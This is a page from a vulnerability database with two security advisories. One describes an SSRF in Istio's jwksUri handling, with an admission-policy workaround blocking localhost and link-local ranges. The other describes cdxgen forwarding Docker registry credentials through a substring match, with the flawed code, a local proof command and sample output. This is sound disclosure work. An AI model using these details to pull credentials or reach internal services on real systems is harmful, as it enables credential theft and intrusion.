| Medium | 5.0 | CVE-2026-41413Istio · SSRF via RequestAuthentication jwksUri Medium5.0GCVE DatabaseCVE-2026-41413 ### Impact When a RequestAuthentication resource is created with a jwksUri pointing to an internal service, istiod makes an unauthenticated HTTP GET request to that URL without filtering out localhost or link local ips. This can result in sensitive data being distributed to Envoy proxies via xDS configuration. Note: a partial mitigation for this was released in 1.29.1, 128.5, and 1.27.8; however, it was incomplete and missed a few codepaths. 1.29.2 and 1.28.6 contain the more robust fix. ### Patches _Has the problem been patched? What versions should users upgrade to?_ ### Workarounds Users can deploy a `ValidatingAdmissionPolicy` to prevent the creation of `RequestAuthentication` resources with suspicious jwksUri field values (e.g. localhost, 127.0.0.0/8, 169.254.0.0/16, the ipv6 variants, etc.). ### References None | GCVE Database | ||
| Medium | 6.9 | @cyclonedx/cdxgen: Docker registry auth substring match forwards credentials to a different registry Medium6.9GCVE Database # Docker registry auth substring match forwards credentials to a different registry ## Repository `cdxgen/cdxgen` ## Affected product/package - Ecosystem: npm - Package: `@cyclonedx/cdxgen` - Reviewed tree version: `12.3.3` - Reviewed commit: `b1e179869fd7c6032c3d483c3f7bd4d7154ec22b` - Affected file: `lib/managers/docker.js` - Affected from: v9.9.5 The Single Executable Applications (SEA) binaries and container images are also affected. ## Weakness CWE-522 / CWE-346. ## Summary When cdxgen scans or pulls container images through the Docker daemon API, it builds an `X-Registry-Auth` header from Docker credentials in `DOCKER_CONFIG/config.json`. The credential selection logic matches configured registry keys with substring checks: ```js if (forRegistry && !serverAddress.includes(forRegistry)) { continue; } ``` This is not an origin-safe registry comparison. For example, credentials configured for `private-registry.example.com` are selected for a requested image under `registry.example.com`, because: ```js "private-registry.example.com".includes("registry.example.com") === true ``` The selected credentials are then serialized into `X-Registry-Auth` for the Docker API pull request targeting the requested registry. ## Reproduction Use the attached/local proof: ```sh node submissions/github-gsa/cdxgen-docker-registry-auth-substring-forwarding/evidence/cdxgen_docker_registry_auth_substring_probe.mjs ``` The proof is fully local. It creates a temporary Docker config containing credentials for `private-registry.example.com`, starts a localhost mock Docker API endpoint, sets `DOCKER_HOST` to that endpoint, then calls cdxgen's exported Docker request path for a pull from `registry.example.com`. Observed vulnerable output: ```json { "decision": "GO", "dockerConfigAuthHost": "private-registry.example.com", "requestedRegistry": "registry.example.com", "substringMatch": true, "dockerApiUrl": "/images/create?fromImage=registry.example.com/team/app:latest", "headerPresent": true, "decodedHeader": { "username": "trusted-user", "password": "trusted-pass", "serveraddress": "private-registry.example.com" } } ``` ## Impact If an operator has Docker credentials for a private registry and uses cdxgen to scan an image from a different registry whose hostname is a substring of that private registry hostname, cdxgen can attach the private registry credentials to the Docker pull request for the different registry. In a realistic attack, an attacker who controls or can observe the requested registry can induce a victim to scan an image from that registry. The Docker daemon API receives an `X-Registry-Auth` payload containing credentials for the victim's private registry but associated with the attacker-requested pull. This is a credential forwarding/misbinding issue in cdxgen's container image handling. ## References Functions `normalizeRegistryHost` and `registriesMatch` added to normalize and perform strict host matching. Fix PR: https://github.com/cdxgen/cdxgen/pull/3964 Researcher: Francesco SabiuResearcher: Francesco Sabiu | GCVE Database |
Page 25 of 1,590